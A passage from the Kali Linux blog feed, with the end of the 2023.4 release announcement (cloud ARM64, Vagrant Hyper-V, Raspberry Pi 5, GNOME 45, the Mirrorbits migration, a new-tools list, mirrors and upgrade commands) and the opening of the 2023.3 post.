If you want to see what is new for yourself &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> a new image or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrade &lt;em>if you already have a Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/">2023.3 release from August&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#cloud-arm-marketplaces">Cloud ARM64&lt;/a>&lt;/strong> - Now Amazon AWS and Microsoft Azure marketplaces have an ARM64 option&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#vagrant-hyper-v-support">Vagrant Hyper-V&lt;/a>&lt;/strong> - Our Vagrant offering now supports Hyper-V&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#raspberry-pi-5">Raspberry Pi 5&lt;/a>&lt;/strong> - Kali on the latest Raspberry Pi foundation device&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#gnome-45">GNOME 45&lt;/a>&lt;/strong> - Kali theme is on the latest versions&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#internal-infrastructure">Internal Infrastructure&lt;/a>&lt;/strong> - Peak at what is going on behind the scenes with mirrorbits&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-4-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - As always, various new &amp;amp; updated packages&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="cloud-arm64-marketplaces">Cloud ARM64 Marketplaces&lt;/h2>
&lt;p>Starting from Kali 2023.4, we will now be offering both Kali Linux AMD64 and ARM64 on &lt;a href="https://aws.amazon.com/marketplace/seller-profile?id=3fd16b5c-a3f6-43b5-b254-0a6ae8f6a350">Amazon AWS&lt;/a> and &lt;a href="https://azuremarketplace.microsoft.com/en/marketplace/apps/kali-linux.kali?tab=overview">Microsoft Azure&lt;/a> marketplaces.&lt;/p>
&lt;p>The advantage that ARM64 brings to the table is more options and flexibility in instance offerings, which leads to improved price-to-performance ratio.
The draw back is, even though Kali Linux has always treated ARM a first class citizen, not every package has an ARM64 offering - most do and we are working on improving this every day!
Try setting up a lab in the cloud and performing your own benchmarks to compare performances.&lt;/p>
&lt;p>&lt;strong>Amazon AWS&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to">Kali Linux (AMD64)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://aws.amazon.com/marketplace/pp/prodview-kie6xvt5r3spi">Kali Linux (ARM64)&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;strong>Microsoft Azure&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://azuremarketplace.microsoft.com/en/marketplace/apps/kali-linux.kali?tab=overview">Kali Linux&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-4-release/images/kali-azure-arm64.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-4-release/images/kali-azure-arm64.png" alt="Kali Azure ARM64" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>If you need some help using Kali Linux in the cloud, be sure to check our &lt;a href="https://www.kali.org/docs/cloud/">documentation&lt;/a>.
Otherwise, if you want to see how we generate these images, see our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">cloud build-scripts&lt;/a>.&lt;/p>
&lt;h2 id="vagrant-hyper-v-support">Vagrant Hyper-V Support&lt;/h2>
&lt;p>With &lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/#new-hyper-v-vm-image">our recent work&lt;/a> with adding support to our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm">VM build-scripts&lt;/a> to create Microsoft Hyper-V virtual machines, we have kept on going down the rabbit hole of development. &lt;a href="https://app.vagrantup.com/kalilinux/boxes/rolling">Our Vagrant offering&lt;/a> now includes a Hyper-V environment!&lt;/p>
&lt;p>If you are not too familiar with Vagrant, think of it as a command-line interface for VMware, VirtualBox, and now Hyper-V.&lt;/p>
&lt;p>At a higher level, in the same way that Docker uses &lt;code>Dockerfile&lt;/code>, Vagrant uses &lt;code>Vagrantfile&lt;/code>.
These files go on to define how to create the virtual machine and further provisions, such as which operating system to use, CPU, RAM, storage, networking, and also any scripts or commands that the VM should execute to further install and configure.&lt;/p>
&lt;p>That means our &lt;a href="https://app.vagrantup.com/kalilinux/boxes/rolling">our Vagrant offering&lt;/a> has support for:&lt;/p>
&lt;ul>
&lt;li>Hyper-V&lt;/li>
&lt;li>QEMU&lt;/li>
&lt;li>VirtualBox&lt;/li>
&lt;li>VMware&lt;/li>
&lt;/ul>
&lt;p>If this is something you like the sound of, we have further reading on our documentation:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/customizing-kali-vagrant/">Customizing a Kali Vagrant Vagrantfile&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vagrant-guest-vm/">Kali inside Vagrant (Guest VM)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>We also have our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vagrant">vagrant build-scripts&lt;/a> public if you want to see how it is done.&lt;/p>
&lt;h2 id="raspberry-pi-5">Raspberry Pi 5&lt;/h2>
&lt;p>If you have been lucky enough to get your hands on the newest Raspberry Pi, Kali Linux can now be used on a Raspberry Pi 5!&lt;/p>
&lt;p>We have created a new dedicated image which can either be &lt;a href="https://www.kali.org/get-kali/#kali-arm">downloaded direct&lt;/a>, or automated using &lt;a href="https://www.kali.org/docs/arm/using-rpi-imager-to-write-raspberry-pi-images/">Raspberry Pi Imager&lt;/a>.&lt;/p>
&lt;p>You can &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">build the image yourself&lt;/a> if you wish to tinker and customize any aspect of it, such as changing the default desktop environment, packages, settings etc.&lt;/p>
&lt;p>Please note, Nexmon support is not yet working with the in-built Wi-Fi (so no monitor mode or frame injection without an external card).&lt;/p>
&lt;p>You can keep an eye on progress by checking our &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-5/">documentation&lt;/a> about it. Please keep in mind that while the image is now available for use, we would consider it to be in a BETA state. For the time being, the image is for ARM64 architecture, hopefully additional flavors will come later.&lt;/p>
&lt;p>We want to give a huge shout-out as there were a lot of volunteers from the community who were willing to test and report issues with the image.
There was one person who really stood out, and this image would not be possible without &lt;code>BakaValen&lt;/code>&amp;rsquo;s assistance, support, reporting of issues, and ideas.&lt;/p>
&lt;p>Additionally, David Bombal&amp;rsquo;s &lt;a href="https://youtube.com/watch?v=paN5F1EmjfA">Raspberry Pi 5 Kali Linux install in 10 minutes&lt;/a> came out to show off our initial work of Kali Linux on the Raspberry Pi 5.&lt;/p>
&lt;h2 id="gnome-45">GNOME 45&lt;/h2>
&lt;p>With &lt;strong>GNOME 45&lt;/strong> hot off the press, Kali Linux is now supporting it! And is looking pretty in the process!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-4-release/images/gnome-45.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-4-release/images/gnome-45.png" alt="Kali GNOME 45" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>For people who opt to use GNOME as their desktop environment, &lt;strong>&lt;a href="https://release.gnome.org/45/">GNOME 45&lt;/a>&lt;/strong> is now here! If you do not read their changelog, below is a quick summary mixed with some of our tweaks:&lt;/p>
&lt;ul>
&lt;li>Full-height sidebars in many updated apps&lt;/li>
&lt;li>Highly &lt;strong>improved speed of search in nautilus file manager&lt;/strong>
&lt;ul>
&lt;li>Unfortunately the update for &lt;code>nautilus&lt;/code> was not ready for this release, but it will arrive as a later update soon&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Improved settings&lt;/strong> app (&lt;code>gnome-control-center&lt;/code>)&lt;/li>
&lt;li>&lt;strong>Updated color-schemes&lt;/strong> for &lt;code>gnome-text-editor&lt;/code>&lt;/li>
&lt;li>&lt;strong>Updated themes&lt;/strong> for &lt;code>shell&lt;/code>, &lt;code>libadwaita&lt;/code>, &lt;code>gtk-3&lt;/code> and &lt;code>gtk-4&lt;/code>&lt;/li>
&lt;li>&lt;strong>Updated &lt;code>gnome-shell&lt;/code> extensions&lt;/strong>&lt;/li>
&lt;li>Shell updates, including a new &lt;strong>workspace indicator&lt;/strong>, replacing the previous &amp;ldquo;Activities&amp;rdquo; button
&lt;ul>
&lt;li>It is also possible to scroll your mouse wheel while hovering over the indicator to switch between workspaces&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-4-release/images/gnome-45-activities-indicator.gif' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-4-release/images/gnome-45-activities-indicator.gif" alt="GNOME 45 activities indicator" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="internal-infrastructure">Internal Infrastructure&lt;/h2>
&lt;p>We are still undergoing big changes with our infrastructure, and as always, it is taking longer than planned! The wait has been worth it, and long standing items are getting fixed or replaced!&lt;/p>
&lt;h3 id="enters-mirrorbits">Enters Mirrorbits&lt;/h3>
&lt;p>One of the projects which is now complete is the migration of our &amp;ldquo;mirror redirector&amp;rdquo;. This is our biggest user-facing service, as without this, all default Kali installations would not be able to use &lt;code>apt&lt;/code> (aka &lt;code>http.kali.org&lt;/code>), or being able to download Kali image (&lt;code>cdimage.kali.org&lt;/code>). This service sits in-front of our mirrors (&lt;code>archive*.kali.org&lt;/code>), &lt;a href="https://http.kali.org/README?mirrorlist">community mirrors&lt;/a> and Cloudflare (&lt;code>kali.download&lt;/code>). It is responsible for redirecting every request to its nearest mirror, based on a few factors such as geographic location, mirror speed, and &lt;a href="https://mirror-traces.kali.org/">mirror &amp;ldquo;freshness&amp;rdquo;&lt;/a>.&lt;/p>
&lt;p>Since Kali was launched back in March 2013, until November 2023 we had been using &lt;a href="https://mirrorbrain.org/">MirrorBrain&lt;/a>. Unfortunately, the project has been unmaintained since 2015, and so after 10 years in production, it was really time to say good-bye. Today, we are now using &lt;a href="https://github.com/etix/mirrorbits">Mirrorbits&lt;/a>.&lt;/p>
&lt;p>The first thing we can say is that, with Mirrorbits, we find ourselves lucky: this is a rock-solid piece of software, built on modern tech (Go and Redis), initially released 10 years ago, and running in production for just as long. It was initially developed by &lt;a href="https://blog.l0cal.com/">Ludovic Fauvet&lt;/a> from VideoLAN in order to distribute the VLC media player. And over these years, it has been adopted by a growing number of FOSS projects such as GNOME, Jenkins, Lineage OS, and many others. &lt;/p>
&lt;p>As it happens, our use-case of Mirrorbits is different to what it was originally created for: distributing VLC, or in other words, a rather small set of static files. Kali Linux being a &lt;em>complete Linux distribution&lt;/em>, it means that we distribute a huge number of files (at times there can be millions of files in our repo). Being a &lt;em>rolling distribution&lt;/em> means that Mirrorbits must cope with fast-changing metadata in the repository. We also need to distribute Kali over both HTTP and HTTPS, which was not well supported.&lt;/p>
&lt;p>Thus, the transition to Mirrorbits was not trivial, it did not work &amp;ldquo;out-of-the-box&amp;rdquo; for us, and we had to rework some pieces here and there, and basically hammer at it until it does the job. But it was well worth it, and in the end our modifications were clean enough that we could submit it all &lt;a href="https://github.com/etix/mirrorbits">upstream&lt;/a>. We really hope that all of this work will be accepted, thus making it easier for Linux distributions in general to use Mirrorbits going forward. Oh, and we have created and are maintaining the &lt;a href="https://tracker.debian.org/pkg/mirrorbits">Debian package&lt;/a>!&lt;/p>
&lt;p>Much more could be written on the topic, and we plan a longer blog post dedicated to it. But for now, enough&amp;rsquo;s been said.&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/cabby">cabby&lt;/a> - TAXII client implementation&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/cti-taxii-client">cti-taxii-client&lt;/a> - TAXII 2 client library&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/enum4linux-ng/">enum4linux-ng&lt;/a> - Next generation version of enum4linux with additional features (a Windows/Samba enumeration tool)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/exiflooter/">exiflooter&lt;/a> - Finds geolocation on all image URLs and directories&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/h8mail/">h8mail&lt;/a> - Email OSINT &amp;amp; Password breach hunting tool&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/havoc/">Havoc&lt;/a> - Modern and malleable post-exploitation command and control framework&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/opentaxii">OpenTAXII&lt;/a> - TAXII server implementation &lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/passdetective/">PassDetective&lt;/a> - Scans shell command history to detect mistakenly written passwords, API keys, and secrets&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/portspoof/">Portspoof&lt;/a> - All 65535 TCP ports are always open &amp;amp; emulates services&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/raven/">Raven&lt;/a> - Lightweight HTTP file upload service&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/reconspider/">ReconSpider&lt;/a> - Most Advanced Open Source Intelligence (OSINT) Framework&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/rling/">rling&lt;/a> - RLI Next Gen (Rling), a faster multi-threaded, feature rich alternative to rli&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sigma-cli/">Sigma-Cli&lt;/a> - List and convert Sigma rules into query languages&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sn0int/">sn0int&lt;/a> - Semi-automatic OSINT framework and package manager&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/spire/">SPIRE&lt;/a> - SPIFFE Runtime Environment is a toolchain of APIs for establishing trust between software systems&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.5.0!&lt;/em>&lt;/p>
&lt;h3 id="community-packages">Community Packages&lt;/h3>
&lt;p>There have been multiple tools submitted from the community, ready to be merged into Kali:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/h8mail/">h8mail&lt;/a> - Credit to: &lt;a href="https://github.com/5nacks">Jason &amp;ldquo;5nacks&amp;rdquo; Kregting&lt;/a> &amp;amp; &lt;a href="https://github.com/tracelabs">TraceLabs&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/passdetective/">PassDetective&lt;/a> - Credit to: &lt;a href="https://gitlab.com/yunusaydin0">Yunus &amp;ldquo;aydinnyunus&amp;rdquo; AYDIN&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sn0int/">sn0int&lt;/a> - Credit to: &lt;a href="https://vulns.xyz/">kpcyrd&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>For more information about this, please see &lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/#rekono---community-package-submission">our blog post from previous release&lt;/a>.&lt;/p>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail on:&lt;/p>
&lt;ul>
&lt;li>We have changed &lt;a href="https://www.kali.org/newsletter/">our newsletter&lt;/a> provider to SubStack!
&lt;ul>
&lt;li>If you want our blog posts, and only that in your inbox, sign up!&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We have seen an &lt;a href="https://github.com/vmware/open-vm-tools/issues/696">issue with VMware currently (VMware workstation 17.5), where it appears input (keyboard/mouse) will freeze&lt;/a> after a period of time
&lt;ul>
&lt;li>Check the above link for a workaround solution&lt;/li>
&lt;li>If you use &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">our pre-generated VMs&lt;/a>, the patch has already been applied&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>There also appears to be an issue with KDE inside a virtual machine, where certain functions between host/guest are not working, such as shared clipboard (copy/paste)&lt;/li>
&lt;li>We have added support for QT6 themes&lt;/li>
&lt;li>A friendly reminder about &lt;a href="https://www.kali.org/blog/python-externally-managed/">Python v3.12 PIP install change which will alter &amp;ldquo;soon&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>We have seen a few things from the community worth calling out:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://twitter.com/yesimxev/status/1725792218512847358">Doom on @kalilinux NetHunter TicWatch Pro 3&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=GmfM8VCAu-I">Kali Linux NetHunter install in 8 minutes (rootless) and includes Android 14&lt;/a> &lt;/li>
&lt;li>&lt;a href="https://odysee.com/@z2rec:1/how-i-ported-kali-nethunter-to-unsupported-device:c">How I Ported Kali NetHunter to Unsupported Device - Essential Phone&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>There are not a lot of changes to the ARM images this release, aside from the previously mentioned Raspberry Pi 5 support. However, they are no less important.&lt;/p>
&lt;ul>
&lt;li>The Raspberry Pi Zero W image now properly starts up into the command line interface instead of launching X.&lt;/li>
&lt;li>Accessing network configuration remotely now properly works again.&lt;/li>
&lt;li>&lt;em>&lt;a href="https://www.kali.org/tools/eyewitness/">eyewitness&lt;/a> is now available for ARM64 platform.&lt;/em> &lt;/li>
&lt;/ul>
&lt;h2 id="kali-website-updates">Kali Website Updates&lt;/h2>
&lt;p>We have recently created a &lt;a href="https://www.kali.org/faq/">Frequently Asked Questions&lt;/a> with answers that we commonly keep seeing crop up.&lt;/p>
&lt;hr>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates to existing pages as well as new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-kernel-8-config-7/">Configuring the Kernel - NFS&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/installation-sizes/">Kali Installation Sizes&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-5/">Raspberry Pi 5&lt;/a> &lt;em>(new)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-pi-tail/">Raspberry Pi-Tail Zero W&lt;/a> &lt;em>(updated)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>We also want to say a little thank you to following for their work on the sites:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/dverbenyi">David Verbenyi&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Hegezcc">Heikki Miinalainen&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/matusb42">Brian Matus&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/yesimxev">yesimxev&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/aiprogram.v32">AI Program&lt;/a> - Helped testing base images&lt;/li>
&lt;li>BakaValen - Helped with testing, troubleshooting and offering ideas with the Raspberry Pi 5 image&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/@davidbombal">David Bombal&lt;/a> - Helped with testing the Raspberry Pi 5 image&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Salty_">Salty_&lt;/a> - Helped with testing base images&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/X0RW3LL">X0RW3LL&lt;/a> - Helped with testing base images&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>We have some new mirrors! Those are:&lt;/p>
&lt;ul>
&lt;li>Japan: &lt;a href="http://repo.jing.rocks/kali">repo.jing.rocks&lt;/a>. Thanks to Jing Luo for reaching out and hosting this mirror!&lt;/li>
&lt;li>Serbia: &lt;a href="http://mirror1.sox.rs/kali">mirror1.sox.rs&lt;/a> sponsored by SOX, the &lt;a href="https://www.sox.rs/en/">Serbian Open eXchange&lt;/a>. Thanks to Sasa Ristic for reaching out to us!&lt;/li>
&lt;/ul>
&lt;p>If you have the disk space and bandwidth, &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors&lt;/a>.&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat">Kali Team Discord Chat&lt;/h2>
&lt;p>Once the Kali release is over, we have been doing an hour long voice chat with a number of Kali team members. This is where anyone can ask questions to us about Kali or the information security industry as a whole.&lt;/p>
&lt;p>The next session will be held slightly differently to our previous ones, later in the day, on the Friday that is coming up, and on &lt;a href="https://discord.com/servers/offsec-780824470113615893">OffSec&amp;rsquo;s Discord&lt;/a> - &lt;strong>Friday, 8th December 2023 18:00 -&amp;gt; 19:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong> (&lt;a href="https://discord.gg/invite/offsec">Discord&lt;/a> link &amp;amp; &lt;a href="./Kali-Discord-2023.4.ics">iCalendar&lt;/a> invite).&lt;/p>
&lt;p>&lt;em>Please note, there will not be a recording of this - its live only.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20234">Get Kali Linux 2023.4&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go and &lt;a href="https://www.kali.org/get-kali/">grab Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also have &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release next quarter to get the latest packages &lt;em>or bug fixes&lt;/em> you can download these images instead.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">point release images&lt;/a>&lt;/em>. We also welcome any &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images too!!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2023.4!
We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2023.4&amp;quot;
VERSION_ID=&amp;quot;2023.4&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.5.0-kali3-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you discover any issues with Kali, please search then submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And social networks are not bug trackers!&lt;/strong>&lt;/p>
&lt;p>Want to keep up-to-date? Easy!
We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a> to help you. &lt;em>Our social networks are in the footer of this page!&lt;/em>&lt;/p></description></item><item><title>Kali Linux 2023.3 Release (Internal Infrastructure &amp; Kali Autopilot)</title><link>https://www.kali.org/blog/kali-linux-2023-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2023-3-release/</guid><pubDate>Wed, 23 Aug 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2023-3-release/images/banner-2023.3-release.jpg" type="image/jpg"/><description>&lt;p>Today we are delighted to introduce our latest &lt;a href="https://www.kali.org/releases/">release of Kali&lt;/a>, 2023.3. This release blog post does not have the most features in it, as a lot of the changes have been behind-the-scenes, which brings a huge benefit to us and an indirect positive effect to you as end-users. It always goes without saying, but there are a number of new packages and tools as well as the standard updates. If you want to see what&amp;rsquo;s new for yourself &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrade &lt;em>if you have an existing Kali Linux installation&lt;/em>&lt;/a>.&lt;/p>
&lt;p>The highlights of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2023-2-release/">2023.2 release from May&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/#internal-infrastructure">Internal Infrastructure&lt;/a>&lt;/strong> - Major stack changes is under way&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/#kali-autopilot">Kali Autopilot&lt;/a>&lt;/strong> - The automation attack framework has had an major overhaul&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - 9 new tools added this time round!&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="internal-infrastructure">Internal Infrastructure&lt;/h2>
&lt;p>With the release of Debian 12 which came out this summer, we took this opportunity to re-work, re-design, and re-architecture our infrastructure. It is as massive as it sounds, and should not be a surprise that its not yet complete! This is where a good amount of our focus has been for this release-cycle (and also the next one unfortunately). We are hoping that the majority of it will be done by the end of the year (so we can get back to what we do best!)&lt;/p>
&lt;p>This gives an excuse and the motivation to simplify our software stack as much as possible.
Example, using one single:&lt;/p>
&lt;ul>
&lt;li>OS version (Debian 12)&lt;/li>
&lt;li>CDN/WAF (Cloudflare)&lt;/li>
&lt;li>Web server service (Nginx)&lt;/li>
&lt;li>Infrastructure as Code (Ansible)&lt;/li>
&lt;/ul>
&lt;p>We also have some other goals, and replacing certain software with others (phase #2).&lt;/p>
&lt;p>At the same time, we have automated some actions such as:&lt;/p>
&lt;ul>
&lt;li>The cleaning up of suites (aka &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">branches&lt;/a> - kali-experimental and &lt;a href="https://www.kali.org/docs/general-use/kali-bleeding-edge/">kali-bleeding-edge&lt;/a>)&lt;/li>
&lt;/ul>
&lt;p>We are very much underway with these projects already (as bug bounty hunters may notice the changes)!&lt;/p>
&lt;h3 id="mirror-traces">Mirror Traces&lt;/h3>
&lt;p>We have a new sub-domain, &lt;a href="https://mirror-traces.kali.org/">mirror-traces.kali.org&lt;/a>! This is to help mirror admins for our community mirrors. This now gives everyone using it more details and insight which is useful when troubleshooting and debugging issues.&lt;/p>
&lt;p>True to our word, we are doing more in the open, the git repository can be found here: &lt;a href="https://gitlab.com/kalilinux/tools/mirror-status">gitlab.com/kalilinux/tools/mirror-status&lt;/a>.&lt;/p>
&lt;h3 id="packaging-tools">Packaging Tools&lt;/h3>
&lt;p>For a long time, we have shared our &lt;a href="https://gitlab.com/kalilinux/tools/packaging">home-made scripts&lt;/a> publicly, which is our helping aid to manage all our packages in Kali.
Recently we have expanded on them by giving the existing files a refresh by adding additional features and various quality-of-life improvements, as well as including new ones.&lt;/p>
&lt;p>As a recap, if you want to have a peek at some back-end development:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://autopkgtest.kali.org/">AutoPkgTest&lt;/a> - Using &lt;code>debci&lt;/code> in a CI fashion, we can test packages being built.
&lt;ul>
&lt;li>This integrates into Britney.&lt;/li>
&lt;/ul>
&lt;/li>
